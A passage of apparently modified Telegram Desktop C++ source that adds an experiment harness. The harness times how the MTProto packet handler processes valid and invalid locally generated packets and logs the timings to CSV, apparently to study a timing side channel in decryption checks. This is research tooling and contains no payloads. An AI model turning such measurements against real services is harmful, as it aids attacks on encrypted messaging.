        TCP_LOG(("TCP Error: bad message %1").arg(Logs::mb(ints, intsCount * kIntSize).str()));



        // return restart();

        return;

    }

    if (_keyId != *(uint64*)ints) {

        LOG(("TCP Error: bad auth_key_id %1 instead of %2 received").arg(_keyId).arg(*(uint64*)ints));

        TCP_LOG(("TCP Error: bad message %1").arg(Logs::mb(ints, intsCount * kIntSize).str()));



        // return restart();

        return;

    }



    auto encryptedInts = ints + kExternalHeaderIntsCount;

    auto encryptedIntsCount = (intsCount - kExternalHeaderIntsCount) & ~0x03U;

    auto encryptedBytesCount = encryptedIntsCount * kIntSize;

    auto decryptedBuffer = QByteArray(encryptedBytesCount, Qt::Uninitialized);

    auto msgKey = *(MTPint128*)(ints + 2);



    // version 2.0 only

    aesIgeDecrypt(encryptedInts, decryptedBuffer.data(), encryptedBytesCount, _encryptionKey, msgKey);



    auto decryptedInts = reinterpret_cast<const mtpPrime*>(decryptedBuffer.constData());

    auto serverSalt = *(uint64*)&decryptedInts[0];

    auto session = *(uint64*)&decryptedInts[2];

    auto msgId = *(uint64*)&decryptedInts[4];

    auto seqNo = *(uint32*)&decryptedInts[6];

    auto needAck = ((seqNo & 0x01) != 0);



    auto messageLength = *(uint32*)&decryptedInts[7];

    if (messageLength > kMaxMessageLength) {

        LOG(("TCP Error: bad messageLength %1").arg(messageLength));

        TCP_LOG(("TCP Error: bad message %1").arg(Logs::mb(ints, intsCount * kIntSize).str()));



        // return restart();

        return;

    }

    auto fullDataLength = kEncryptedHeaderIntsCount * kIntSize + messageLength; // Without padding.



    // Can underflow, but it is an unsigned type, so we just check the range later.

    auto paddingSize = static_cast<uint32>(encryptedBytesCount) - static_cast<uint32>(fullDataLength);



    constexpr auto kMinPaddingSize = 12U;

    constexpr auto kMaxPaddingSize = 1024U;

    auto badMessageLength = (paddingSize < kMinPaddingSize || paddingSize > kMaxPaddingSize);



    std::array<uchar, 32> sha256Buffer = { { 0 } };



    SHA256_CTX msgKeyLargeContext;

    SHA256_Init(&msgKeyLargeContext);

    SHA256_Update(&msgKeyLargeContext, _encryptionKey->partForMsgKey(false), 32);

    SHA256_Update(&msgKeyLargeContext, decryptedInts, encryptedBytesCount);

    SHA256_Final(sha256Buffer.data(), &msgKeyLargeContext);



    constexpr auto kMsgKeyShift = 8U;

    if (ConstTimeIsDifferent(&msgKey, sha256Buffer.data() + kMsgKeyShift, sizeof(msgKey))) {

        LOG(("TCP Error: bad SHA256 hash after aesDecrypt in message"));

        TCP_LOG(("TCP Error: bad message %1").arg(Logs::mb(encryptedInts, encryptedBytesCount).str()));



        // return restart();

        return;

    }



    if (badMessageLength || (messageLength & 0x03)) {

        LOG(("TCP Error: bad msg_len received %1, data size: %2").arg(messageLength).arg(encryptedBytesCount));

        TCP_LOG(("TCP Error: bad message %1").arg(Logs::mb(encryptedInts, encryptedBytesCount).str()));



        // return restart();

        return;

    }



    // rest of code cut, should never reach here

    LOG(("EXP: Something went wrong."));

}



}

} // namespace MTP::details



/* write the timing data to log file

   settings -> typing "viewlogs" shows the folder */

void writeToFile(std::string createTime, std::string msg) {

    std::ofstream timeFile;

    std::string c_string;

    if (getCpucycles()) {

        c_string = "_c";

    } else {

    c_string = "";

    }

    std::string path = cWorkingDir().toStdString() + createTime + "_" + std::to_string(_msgLength)

        + "_" + std::to_string(_samePacket) + "_" + std::to_string(_numTrials) + c_string + ".csv";

    timeFile.open(path.data(), std::ios_base::app);

    timeFile << msg.data();

    timeFile.close();

}



/* set experiment parameters */

void setNumTrials(int numTrials) {

    _numTrials = numTrials;

}



void setMsgLength(int msgLength) {

    _msgLength = msgLength;

}



void setSamePacket(bool samePacket) {

    _samePacket = samePacket;

}



void setRunOnInit(bool runOnInit) {

    _runOnInit = runOnInit;

}



void setCpucycles(bool cpucycles) {

    _cpucycles = cpucycles;

}



int getNumTrials() {

    return _numTrials;

}



int getMsgLength() {

    return _msgLength;

}



bool getSamePacket() {

    return _samePacket;

}



bool getRunOnInit() {

    return _runOnInit;

}



bool getCpucycles() {

    return _cpucycles;

}



/* generate a number of packets to process client-side

   and time processing to first error (in microseconds) */

std::string doExperiment() {

    const auto createTime = QDateTime::currentDateTime();

    auto timeFile = createTime.toString("yyyy-MM-dd_hh-mm-ss-zzz");

    LOG(("EXP: %1: Do %2 trials with message length %3B.").arg(timeFile).arg(_numTrials).arg(_msgLength));

    

    MTP::details::generateEncryptionKey();

    bytes::span plaintext;

    mtpBuffer packet;

    

    if (_samePacket) {

        //LOG(("EXP: Using a single plaintext."));

        plaintext = MTP::details::preparePlaintext(_msgLength);

    }

    

    for (int i = 0; i < 2 * _numTrials; i++) {

        bool valid = i < _numTrials;

        if (_samePacket) {

            if (i == 0 || i == _numTrials) {

                packet = MTP::details::preparePacket(valid, _msgLength, plaintext);

            }

        } else {

            packet = MTP::details::preparePacket(valid, _msgLength);

        }

        

        // shuffling data around between the two methods

        auto bufferSize = packet.size() - 2; // w/o tcp prefix

        auto buffer = mtpBuffer(bufferSize);

        memcpy(buffer.data(), packet.data() + 2, bufferSize * sizeof(mtpPrime));

 

    std::string diff_str;

    if (getCpucycles()) {

        auto t1 = cpucycles();

        MTP::details::handlePacket(buffer);

        auto t2 = cpucycles();

        auto diff = t2 - t1;

        diff_str = std::to_string(diff);

    } else {       

            auto t1 = std::chrono::steady_clock::now();

        MTP::details::handlePacket(buffer);

        auto t2 = std::chrono::steady_clock::now();

        std::chrono::duration<double, std::micro> diff = t2 - t1;

        diff_str = std::to_string(diff.count());

    }

      

    writeToFile(timeFile.toStdString(), std::to_string(valid)+","+diff_str+"\n");

    }



    if (getRunOnInit()) {

    exit(0);

    }

    

    return timeFile.toStdString();

}




application.cpp
/*

This file is part of Telegram Desktop,

the official desktop application for the Telegram messaging service.



For license and copyright information please follow this link:

https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL

*/

#include "core/application.h"



#include "data/data_photo.h"

#include "data/data_document.h"

#include "data/data_session.h"

#include "data/data_user.h"

#include "base/timer.h"

#include "base/concurrent_timer.h"

#include "base/unixtime.h"

#include "core/update_checker.h"

#include "core/shortcuts.h"

#include "core/sandbox.h"

#include "core/local_url_handlers.h"

#include "core/launcher.h"

#include "core/ui_integration.h"

#include "core/core_settings.h"

#include "chat_helpers/emoji_keywords.h"

#include "chat_helpers/stickers_emoji_image_loader.h"

#include "base/platform/base_platform_info.h"

#include "base/platform/base_platform_last_input.h"

#include "platform/platform_specific.h"

#include "mainwindow.h"

#include "dialogs/dialogs_entry.h"

#include "history/history.h"

#include "apiwrap.h"

#include "api/api_updates.h"

#include "calls/calls_instance.h"

#include "lang/lang_file_parser.h"

#include "lang/lang_translator.h"

#include "lang/lang_cloud_manager.h"

#include "lang/lang_hardcoded.h"

#include "lang/lang_instance.h"

#include "mainwidget.h"

#include "core/file_utilities.h"

#include "main/main_account.h"

#include "main/main_domain.h"

#include "main/main_session.h"

#include "media/view/media_view_overlay_widget.h"

#include "mtproto/mtproto_dc_options.h"

#include "mtproto/mtproto_config.h"

#include "mtproto/mtp_instance.h"

#include "media/audio/media_audio.h"

#include "media/audio/media_audio_track.h"

#include "media/player/media_player_instance.h"

#include "media/player/media_player_float.h"

#include "media/clip/media_clip_reader.h" // For Media::Clip::Finish().

#include "window/notifications_manager.h"

#include "window/themes/window_theme.h"

#include "window/window_lock_widgets.h"

#include "history/history_location_manager.h"

#include "ui/widgets/tooltip.h"

#include "ui/image/image.h"

#include "ui/text/text_options.h"

#include "ui/emoji_config.h"

#include "ui/effects/animations.h"

#include "storage/serialize_common.h"

#include "storage/storage_domain.h"

#include "storage/storage_databases.h"

#include "storage/localstorage.h"

#include "export/export_manager.h"

#include "window/window_session_controller.h"

#include "window/window_controller.h"

#include "base/qthelp_regex.h"

#include "base/qthelp_url.h"

#include "boxes/connection_box.h"

#include "boxes/confirm_phone_box.h"

#include "boxes/confirm_box.h"

#include "boxes/share_box.h"

#include "facades.h"

#include "app.h"



#include <QtWidgets/QDesktopWidget>

#include <QtCore/QMimeDatabase>

#include <QtGui/QGuiApplication>

#include <QtGui/QScreen>



#include "core/experiment.h"  // EXP



namespace Core {

namespace {



constexpr auto kQuitPreventTimeoutMs = crl::time(1500);

constexpr auto kAutoLockTimeoutLateMs = crl::time(3000);

constexpr auto kClearEmojiImageSourceTimeout = 10 * crl::time(1000);



} // namespace



Application *Application::Instance = nullptr;



struct Application::Private {

    base::Timer quitTimer;

    UiIntegration uiIntegration;

};



Application::Application(not_null<Launcher*> launcher)

: QObject()

, _launcher(launcher)

, _private(std::make_unique<Private>())

, _databases(std::make_unique<Storage::Databases>())

, _animationsManager(std::make_unique<Ui::Animations::Manager>())

, _clearEmojiImageLoaderTimer([=] { clearEmojiSourceImages(); })

, _audio(std::make_unique<Media::Audio::Instance>())

, _fallbackProductionConfig(

    std::make_unique<MTP::Config>(MTP::Environment::Production))

, _domain(std::make_unique<Main::Domain>(cDataFile()))

, _exportManager(std::make_unique<Export::Manager>())

, _calls(std::make_unique<Calls::Instance>())

, _langpack(std::make_unique<Lang::Instance>())

, _langCloudManager(std::make_unique<Lang::CloudManager>(langpack()))

, _emojiKeywords(std::make_unique<ChatHelpers::EmojiKeywords>())

, _logo(Window::LoadLogo())

, _logoNoMargin(Window::LoadLogoNoMargin())

, _autoLockTimer([=] { checkAutoLock(); }) {

    Expects(!_logo.isNull());

    Expects(!_logoNoMargin.isNull());



    Ui::Integration::Set(&_private->uiIntegration);



    passcodeLockChanges(

    ) | rpl::start_with_next([=] {

        _shouldLockAt = 0;

    }, _lifetime);



    passcodeLockChanges(

    ) | rpl::start_with_next([=] {

        _notifications->updateAll();

    }, _lifetime);



    _domain->activeSessionChanges(

    ) | rpl::start_with_next([=](Main::Session *session) {

        if (session && !UpdaterDisabled()) { // #TODO multi someSessionValue

            UpdateChecker().setMtproto(session);

        }

    }, _lifetime);



    _domain->activeValue(

    ) | rpl::filter(rpl::mappers::_1 != nullptr

    ) | rpl::take(1) | rpl::start_with_next([=] {

        if (_window) {

            // Global::DesktopNotify is used in updateTrayMenu.

            // This should be called when user settings are read.

            // Right now after they are read the startMtp() is called.

            _window->widget()->updateTrayMenu();

        }

    }, _lifetime);

}



Application::~Application() {

    // Depend on activeWindow() for now :(

    Shortcuts::Finish();



    _window = nullptr;

    _mediaView = nullptr;

    _notifications->clearAllFast();

    _domain->finish();



    Local::finish();



    Shortcuts::Finish();



    Ui::Emoji::Clear();

    Media::Clip::Finish();



    App::deinitMedia();



    Window::Theme::Uninitialize();



    Media::Player::finish(_audio.get());

    style::stopManager();



    Global::finish();

    ThirdParty::finish();



    Instance = nullptr;

}



void Application::run() {

    // EXP: run as the application is starting

    if (getRunOnInit()) {

        doExperiment();

    }

    

    style::internal::StartFonts();



    ThirdParty::start();

    Global::start();

    refreshGlobalProxy(); // Depends on Global::start().



    // Depends on OpenSSL on macOS, so on ThirdParty::start().

    // Depends on notifications settings.

    _notifications = std::make_unique<Window::Notifications::System>();



    startLocalStorage();

    ValidateScale();



    if (Local::oldSettingsVersion() < AppVersion) {

        psNewVersion();

    }



    if (cAutoStart() && !Platform::AutostartSupported()) {

        cSetAutoStart(false);

    }



    if (cLaunchMode() == LaunchModeAutoStart && !cAutoStart()) {

        psAutoStart(false, true);

        App::quit();

        return;

    }



    Core::App().settings().setWindowControlsLayout(Platform::WindowControlsLayout());



    _translator = std::make_unique<Lang::Translator>();

    QCoreApplication::instance()->installTranslator(_translator.get());



    style::startManager(cScale());

    Ui::InitTextOptions();

    Ui::Emoji::Init();

    startEmojiImageLoader();

    startSystemDarkModeViewer();

    Media::Player::start(_audio.get());



    style::ShortAnimationPlaying(

    ) | rpl::start_with_next([=](bool playing) {

        if (playing) {

            MTP::details::pause();

        } else {

            MTP::details::unpause();

        }

    }, _lifetime);



    DEBUG_LOG(("Application Info: inited..."));



    cChangeTimeFormat(QLocale::system().timeFormat(QLocale::ShortFormat));



    DEBUG_LOG(("Application Info: starting app..."));



    // Create mime database, so it won't be slow later.

    QMimeDatabase().mimeTypeForName(qsl("text/plain"));



    _window = std::make_unique<Window::Controller>();



    _domain->activeChanges(

    ) | rpl::start_with_next([=](not_null<Main::Account*> account) {

        _window->showAccount(account);

    }, _window->widget()->lifetime());



    QCoreApplication::instance()->installEventFilter(this);

    connect(

        static_cast<QGuiApplication*>(QCoreApplication::instance()),

        &QGuiApplication::applicationStateChanged,

        this,

        &Application::stateChanged);



    DEBUG_LOG(("Application Info: window created..."));



    // Depend on activeWindow() for now :(

    startShortcuts();

    App::initMedia();

    startDomain();



    _window->widget()->show();



    const auto currentGeometry = _window->widget()->geometry();

    _mediaView = std::make_unique<Media::View::OverlayWidget>();

    _window->widget()->setGeometry(currentGeometry);



    DEBUG_LOG(("Application Info: showing."));

    _window->finishFirstShow();



    if (!_window->locked() && cStartToSettings()) {

        _window->showSettings();

    }



    _window->updateIsActiveFocus();



    for (const auto &error : Shortcuts::Errors()) {

        LOG(("Shortcuts Error: %1").arg(error));

    }

}



void Application::startDomain() {

    const auto state = _domain->start(QByteArray());

    if (state != Storage::StartResult::IncorrectPasscodeLegacy) {

        // In case of non-legacy passcoded app all global settings are ready.

        startSettingsAndBackground();

    }

    if (state != Storage::StartResult::Success) {

        Global::SetLocalPasscode(true);

        Global::RefLocalPasscodeChanged().notify();

        lockByPasscode();

        DEBUG_LOG(("Application Info: passcode needed..."));

    }

}



void Application::startSettingsAndBackground() {

    Local::rewriteSettingsIfNeeded();

    Window::Theme::Background()->start();

    checkSystemDarkMode();

}



void Application::checkSystemDarkMode() {

    const auto maybeDarkMode = _settings.systemDarkMode();

    const auto darkModeEnabled = _settings.systemDarkModeEnabled();

    const auto needToSwitch = darkModeEnabled

        && maybeDarkMode

        && (*maybeDarkMode != Window::Theme::IsNightMode());

    if (needToSwitch) {

        Window::Theme::ToggleNightMode();

        Window::Theme::KeepApplied();

    }

}



void Application::startSystemDarkModeViewer() {

    if (Window::Theme::Background()->editingTheme()) {

        _settings.setSystemDarkModeEnabled(false);

    }

    rpl::merge(

        _settings.systemDarkModeChanges() | rpl::to_empty,

        _settings.systemDarkModeEnabledChanges() | rpl::to_empty

    ) | rpl::start_with_next([=] {

        checkSystemDarkMode();

    }, _lifetime);

}



auto Application::prepareEmojiSourceImages()

-> std::shared_ptr<Ui::Emoji::UniversalImages> {

    const auto &images = Ui::Emoji::SourceImages();

    if (_settings.largeEmoji()) {

        return images;

    }

    Ui::Emoji::ClearSourceImages(images);

    return std::make_shared<Ui::Emoji::UniversalImages>(images->id());

}



void Application::clearEmojiSourceImages() {

    _emojiImageLoader.with([](Stickers::EmojiImageLoader &loader) {

        crl::on_main([images = loader.releaseImages()]{

            Ui::Emoji::ClearSourceImages(images);

        });

    });

}



bool Application::hideMediaView() {

    if (_mediaView && !_mediaView->isHidden()) {

        _mediaView->hide();

        if (const auto window = activeWindow()) {

            window->reActivate();

        }

        return true;

    }

    return false;

}



void Application::showPhoto(not_null<const PhotoOpenClickHandler*> link) {

    const auto photo = link->photo();

    const auto peer = link->peer();

    const auto item = photo->owner().message(link->context());

    return (!item && peer)

        ? showPhoto(photo, peer)

        : showPhoto(photo, item);

}



void Application::showPhoto(not_null<PhotoData*> photo, HistoryItem *item) {

    Expects(_mediaView != nullptr);



    _mediaView->showPhoto(photo, item);

    _mediaView->activateWindow();

    _mediaView->setFocus();

}



void Application::showPhoto(

        not_null<PhotoData*> photo,

        not_null<PeerData*> peer) {

    Expects(_mediaView != nullptr);



    _mediaView->showPhoto(photo, peer);

    _mediaView->activateWindow();

    _mediaView->setFocus();

}



void Application::showDocument(not_null<DocumentData*> document, HistoryItem *item) {

    Expects(_mediaView != nullptr);



    if (cUseExternalVideoPlayer()

        && document->isVideoFile()

        && !document->filepath().isEmpty()) {

        File::Launch(document->location(false).fname);

    } else {

        _mediaView->showDocument(document, item);

        _mediaView->activateWindow();

        _mediaView->setFocus();

    }

}



void Application::showTheme(

        not_null<DocumentData*> document,

        const Data::CloudTheme &cloud) {

    Expects(_mediaView != nullptr);



    _mediaView->showTheme(document, cloud);

    _mediaView->activateWindow();

    _mediaView->setFocus();

}



PeerData *Application::ui_getPeerForMouseAction() {

    if (_mediaView && !_mediaView->isHidden()) {

        return _mediaView->ui_getPeerForMouseAction();

    } else if (const auto m = App::main()) { // multi good

        return m->ui_getPeerForMouseAction();

    }

    return nullptr;

}



bool Application::eventFilter(QObject *object, QEvent *e) {

    switch (e->type()) {

    case QEvent::KeyPress:

    case QEvent::MouseButtonPress:

    case QEvent::TouchBegin:

    case QEvent::Wheel: {

        updateNonIdle();

    } break;



    case QEvent::ShortcutOverride: {

        // handle shortcuts ourselves

        return true;

    } break;



    case QEvent::Shortcut: {

        const auto event = static_cast<QShortcutEvent*>(e);

        DEBUG_LOG(("Shortcut event caught: %1"

            ).arg(event->key().toString()));

        if (Shortcuts::HandleEvent(event)) {

            return true;

        }

    } break;



    case QEvent::ApplicationActivate: {

        if (object == QCoreApplication::instance()) {

            updateNonIdle();

        }

    } break;



    case QEvent::FileOpen: {

        if (object == QCoreApplication::instance()) {

            const auto event = static_cast<QFileOpenEvent*>(e);

            const auto url = QString::fromUtf8(

                event->url().toEncoded().trimmed());

            if (url.startsWith(qstr("tg://"), Qt::CaseInsensitive)) {

                cSetStartUrl(url.mid(0, 8192));

                checkStartUrl();

            }

            if (StartUrlRequiresActivate(url)) {

                _window->activate();

            }

        }

    } break;

    }



    return QObject::eventFilter(object, e);

}



void Application::saveSettingsDelayed(crl::time delay) {

    _saveSettingsTimer.callOnce(delay);

}



void Application::saveSettings() {

    Local::writeSettings();

}



MTP::Config &Application::fallbackProductionConfig() const {

    if (!_fallbackProductionConfig) {

        _fallbackProductionConfig = std::make_unique<MTP::Config>(

            MTP::Environment::Production);

    }

    return *_fallbackProductionConfig;

}



void Application::refreshFallbackProductionConfig(

        const MTP::Config &config) {

    if (config.environment() == MTP::Environment::Production) {

        _fallbackProductionConfig = std::make_unique<MTP::Config>(config);

    }

}



void Application::constructFallbackProductionConfig(

        const QByteArray &serialized) {

    if (auto config = MTP::Config::FromSerialized(serialized)) {

        if (config->environment() == MTP::Environment::Production) {

            _fallbackProductionConfig = std::move(config);

        }

    }

}



void Application::setCurrentProxy(

        const MTP::ProxyData &proxy,

        MTP::ProxyData::Settings settings) {

    const auto current = [&] {

        return (Global::ProxySettings() == MTP::ProxyData::Settings::Enabled)

            ? Global::SelectedProxy()

            : MTP::ProxyData();

    };

    const auto was = current();

    Global::SetSelectedProxy(proxy);

    Global::SetProxySettings(settings);

    const auto now = current();

    refreshGlobalProxy();

    _proxyChanges.fire({ was, now });

    Global::RefConnectionTypeChanged().notify();

}



auto Application::proxyChanges() const -> rpl::producer<ProxyChange> {

    return _proxyChanges.events();

}



void Application::badMtprotoConfigurationError() {

    if (Global::ProxySettings() == MTP::ProxyData::Settings::Enabled

        && !_badProxyDisableBox) {

        const auto disableCallback = [=] {

            setCurrentProxy(

                Global::SelectedProxy(),

                MTP::ProxyData::Settings::System);

        };

        _badProxyDisableBox = Ui::show(Box<InformBox>(

            Lang::Hard::ProxyConfigError(),

            disableCallback));

    }

}



void Application::startLocalStorage() {

    Local::start();

    _saveSettingsTimer.setCallback([=] { saveSettings(); });

}



void Application::startEmojiImageLoader() {

    _emojiImageLoader.with([

        source = prepareEmojiSourceImages(),

        large = _settings.largeEmoji()

    ](Stickers::EmojiImageLoader &loader) mutable {

        loader.init(std::move(source), large);

    });



    _settings.largeEmojiChanges(

    ) | rpl::start_with_next([=](bool large) {

        if (large) {

            _clearEmojiImageLoaderTimer.cancel();

        } else {

            _clearEmojiImageLoaderTimer.callOnce(

                kClearEmojiImageSourceTimeout);

        }

    }, _lifetime);



    Ui::Emoji::Updated(

    ) | rpl::start_with_next([=] {

        _emojiImageLoader.with([

            source = prepareEmojiSourceImages()

        ](Stickers::EmojiImageLoader &loader) mutable {

            loader.switchTo(std::move(source));

        });

    }, _lifetime);

}



void Application::setDefaultFloatPlayerDelegate(

        not_null<Media::Player::FloatDelegate*> delegate) {

    Expects(!_defaultFloatPlayerDelegate == !_floatPlayers);



    _defaultFloatPlayerDelegate = delegate;

    _replacementFloatPlayerDelegate = nullptr;

    if (_floatPlayers) {

        _floatPlayers->replaceDelegate(delegate);

    } else {

        _floatPlayers = std::make_unique<Media::Player::FloatController>(

            delegate);

    }

}



void Application::replaceFloatPlayerDelegate(

        not_null<Media::Player::FloatDelegate*> replacement) {

    Expects(_floatPlayers != nullptr);



    _replacementFloatPlayerDelegate = replacement;

    _floatPlayers->replaceDelegate(replacement);

}



void Application::restoreFloatPlayerDelegate(

        not_null<Media::Player::FloatDelegate*> replacement) {

    Expects(_floatPlayers != nullptr);



    if (_replacementFloatPlayerDelegate == replacement) {

        _replacementFloatPlayerDelegate = nullptr;

        _floatPlayers->replaceDelegate(_defaultFloatPlayerDelegate);

    }

}



rpl::producer<FullMsgId> Application::floatPlayerClosed() const {

    Expects(_floatPlayers != nullptr);



    return _floatPlayers->closeEvents();

}



void Application::logout(Main::Account *account) {

    if (account) {

        account->logOut();

    } else {

        _domain->resetWithForgottenPasscode();

    }

}



void Application::forceLogOut(

        not_null<Main::Account*> account,

        const TextWithEntities &explanation) {

    const auto box = Ui::show(Box<InformBox>(

        explanation,

        tr::lng_passcode_logout(tr::now)));

    box->setCloseByEscape(false);

    box->setCloseByOutsideClick(false);

    const auto weak = base::make_weak(account.get());

    connect(box, &QObject::destroyed, [=] {

        crl::on_main(weak, [=] {

            account->forcedLogOut();

        });

    });

}



void Application::checkLocalTime() {

    const auto adjusted = crl::adjust_time();

    if (adjusted) {

        base::Timer::Adjust();

        base::ConcurrentTimerEnvironment::Adjust();

        base::unixtime::http_invalidate();

    }

    if (const auto session = maybeActiveSession()) {

        session->updates().checkLastUpdate(adjusted);

    }

}



void Application::stateChanged(Qt::ApplicationState state) {

    if (state == Qt::ApplicationActive) {

        handleAppActivated();

    } else {

        handleAppDeactivated();

    }

}



void Application::handleAppActivated() {

    checkLocalTime();

    if (_window) {

        _window->updateIsActiveFocus();

    }

}



void Application::handleAppDeactivated() {

    if (_window) {

        _window->updateIsActiveBlur();

    }

    Ui::Tooltip::Hide();

}



void Application::call_handleObservables() {

    base::HandleObservables();

}



void Application::switchDebugMode() {

    if (Logs::DebugEnabled()) {

        Logs::SetDebugEnabled(false);

        _launcher->writeDebugModeSetting();

        App::restart();

    } else {

        Logs::SetDebugEnabled(true);

        _launcher->writeDebugModeSetting();

        DEBUG_LOG(("Debug logs started."));

        Ui::hideLayer();

    }

}



void Application::switchFreeType() {

    if (cUseFreeType()) {

        QFile(cWorkingDir() + qsl("tdata/withfreetype")).remove();

        cSetUseFreeType(false);

    } else {

        QFile f(cWorkingDir() + qsl("tdata/withfreetype"));

        if (f.open(QIODevice::WriteOnly)) {

            f.write("1");

            f.close();

        }

        cSetUseFreeType(true);

    }

    App::restart();

}



void Application::writeInstallBetaVersionsSetting() {

    _launcher->writeInstallBetaVersionsSetting();

}



Main::Account &Application::activeAccount() const {

    return _domain->active();

}



Main::Session *Application::maybeActiveSession() const {

    return _domain->started() ? activeAccount().maybeSession() : nullptr;

}



bool Application::exportPreventsQuit() {

    if (_exportManager->inProgress()) {

        _exportManager->stopWithConfirmation([] {

            App::quit();

        });

        return true;

    }

    return false;

}



int Application::unreadBadge() const {

    return _domain->unreadBadge();

}



bool Application::unreadBadgeMuted() const {

    return _domain->unreadBadgeMuted();

}



rpl::producer<> Application::unreadBadgeChanges() const {

    return _domain->unreadBadgeChanges();

}



bool Application::offerLegacyLangPackSwitch() const {

    return (_domain->accounts().size() == 1)

        && activeAccount().sessionExists();

}



bool Application::canApplyLangPackWithoutRestart() const {

    for (const auto &[index, account] : _domain->accounts()) {

        if (account->sessionExists()) {

            return false;

        }

    }

    return true;

}



void Application::checkStartUrl() {

    if (!cStartUrl().isEmpty() && _window && !_window->locked()) {

        const auto url = cStartUrl();

        cSetStartUrl(QString());

        if (!openLocalUrl(url, {})) {

            cSetStartUrl(url);

        }

    }

}



bool Application::openLocalUrl(const QString &url, QVariant context) {

    return openCustomUrl("tg://", LocalUrlHandlers(), url, context);

}



bool Application::openInternalUrl(const QString &url, QVariant context) {

    return openCustomUrl("internal:", InternalUrlHandlers(), url, context);

}



bool Application::openCustomUrl(

        const QString &protocol,

        const std::vector<LocalUrlHandler> &handlers,

        const QString &url,

        const QVariant &context) {

    const auto urlTrimmed = url.trimmed();

    if (!urlTrimmed.startsWith(protocol, Qt::CaseInsensitive)

        || passcodeLocked()) {

        return false;

    }

    const auto command = urlTrimmed.midRef(protocol.size(), 8192);

    const auto controller = _window ? _window->sessionController() : nullptr;



    using namespace qthelp;

    const auto options = RegExOption::CaseInsensitive;

    for (const auto &[expression, handler] : handlers) {

        const auto match = regex_match(expression, command, options);

        if (match) {

            return handler(controller, match, context);

        }

    }

    return false;



}



void Application::lockByPasscode() {

    _passcodeLock = true;

    _window->setupPasscodeLock();

}



void Application::unlockPasscode() {

    clearPasscodeLock();

    if (_window) {

        _window->clearPasscodeLock();

    }

}



void Application::clearPasscodeLock() {

    cSetPasscodeBadTries(0);

    _passcodeLock = false;

}



bool Application::passcodeLocked() const {

    return _passcodeLock.current();

}



void Application::updateNonIdle() {

    _lastNonIdleTime = crl::now();

    if (const auto session = maybeActiveSession()) {

        session->updates().checkIdleFinish();

    }

}



crl::time Application::lastNonIdleTime() const {

    return std::max(

        base::Platform::LastUserInputTime().value_or(0),

        _lastNonIdleTime);

}



rpl::producer<bool> Application::passcodeLockChanges() const {

    return _passcodeLock.changes();

}



rpl::producer<bool> Application::passcodeLockValue() const {

    return _passcodeLock.value();

}



bool Application::someSessionExists() const {

    for (const auto &[index, account] : _domain->accounts()) {

        if (account->sessionExists()) {

            return true;

        }

    }

    return false;

}



void Application::checkAutoLock() {

    if (!Global::LocalPasscode()

        || passcodeLocked()

        || !someSessionExists()) {

        _shouldLockAt = 0;

        _autoLockTimer.cancel();

        return;

    }



    checkLocalTime();

    const auto now = crl::now();

    const auto shouldLockInMs = _settings.autoLock() * 1000LL;

    const auto checkTimeMs = now - lastNonIdleTime();

    if (checkTimeMs >= shouldLockInMs || (_shouldLockAt > 0 && now > _shouldLockAt + kAutoLockTimeoutLateMs)) {

        _shouldLockAt = 0;

        _autoLockTimer.cancel();

        lockByPasscode();

    } else {

        _shouldLockAt = now + (shouldLockInMs - checkTimeMs);

        _autoLockTimer.callOnce(shouldLockInMs - checkTimeMs);

    }

}



void Application::checkAutoLockIn(crl::time time) {

    if (_autoLockTimer.isActive()) {

        auto remain = _autoLockTimer.remainingTime();

        if (remain > 0 && remain <= time) return;

    }

    _autoLockTimer.callOnce(time);

}



void Application::localPasscodeChanged() {

    _shouldLockAt = 0;

    _autoLockTimer.cancel();

    checkAutoLock();

}



bool Application::hasActiveWindow(not_null<Main::Session*> session) const {

    if (App::quitting() || !_window) {

        return false;

    } else if (const auto controller = _window->sessionController()) {

        if (&controller->session() == session) {

            return _window->widget()->isActive();

        }

    }

    return false;

}



void Application::saveCurrentDraftsToHistories() {

    if (!_window) {

        return;

    } else if (const auto controller = _window->sessionController()) {

        controller->content()->saveFieldToHistoryLocalDraft();

    }

}



Window::Controller *Application::activeWindow() const {

    return _window.get();

}



bool Application::closeActiveWindow() {

    if (hideMediaView()) {

        return true;

    }

    if (const auto window = activeWindow()) {

        window->close();

        return true;

    }

    return false;

}



bool Application::minimizeActiveWindow() {

    hideMediaView();

    if (const auto window = activeWindow()) {

        window->minimize();

        return true;

    }

    return false;

}



QWidget *Application::getFileDialogParent() {

    return (_mediaView && _mediaView->isVisible())

        ? (QWidget*)_mediaView.get()

        : activeWindow()

        ? (QWidget*)activeWindow()->widget()

        : nullptr;

}



void Application::notifyFileDialogShown(bool shown) {

    if (_mediaView) {

        _mediaView->notifyFileDialogShown(shown);

    }

}



QWidget *Application::getModalParent() {

    return (Platform::IsWayland() && activeWindow())

        ? activeWindow()->widget().get()

        : nullptr;

}





void Application::checkMediaViewActivation() {

    if (_mediaView && !_mediaView->isHidden()) {

        _mediaView->activateWindow();

        QApplication::setActiveWindow(_mediaView.get());

        _mediaView->setFocus();

    }

}



QPoint Application::getPointForCallPanelCenter() const {

    if (const auto window = activeWindow()) {

        return window->getPointForCallPanelCenter();

    }

    return QGuiApplication::primaryScreen()->geometry().center();

}



// macOS Qt bug workaround, sometimes no leaveEvent() gets to the nested widgets.

void Application::registerLeaveSubscription(not_null<QWidget*> widget) {

#ifdef Q_OS_MAC

    if (const auto topLevel = widget->window()) {

        if (topLevel == _window->widget()) {

            auto weak = Ui::MakeWeak(widget);

            auto subscription = _window->widget()->leaveEvents(

            ) | rpl::start_with_next([weak] {

                if (const auto window = weak.data()) {

                    QEvent ev(QEvent::Leave);

                    QGuiApplication::sendEvent(window, &ev);

                }

            });

            _leaveSubscriptions.emplace_back(weak, std::move(subscription));

        }

    }

#endif // Q_OS_MAC

}



void Application::unregisterLeaveSubscription(not_null<QWidget*> widget) {

#ifdef Q_OS_MAC

    _leaveSubscriptions = std::move(

        _leaveSubscriptions

    ) | ranges::action::remove_if([&](const LeaveSubscription &subscription) {

        auto pointer = subscription.pointer.data();

        return !pointer || (pointer == widget);

    });

#endif // Q_OS_MAC

}



void Application::postponeCall(FnMut<void()> &&callable) {

    Sandbox::Instance().postponeCall(std::move(callable));

}



void Application::refreshGlobalProxy() {

    Sandbox::Instance().refreshGlobalProxy();

}



void Application::QuitAttempt() {

    if (!IsAppLaunched()

        || Sandbox::Instance().isSavingSession()

        || App().readyToQuit()) {

        QApplication::quit();

    }

}



bool Application::readyToQuit() {

    auto prevented = false;

    if (_calls->isQuitPrevent()) {

        prevented = true;

    }

    if (_domain->started()) {

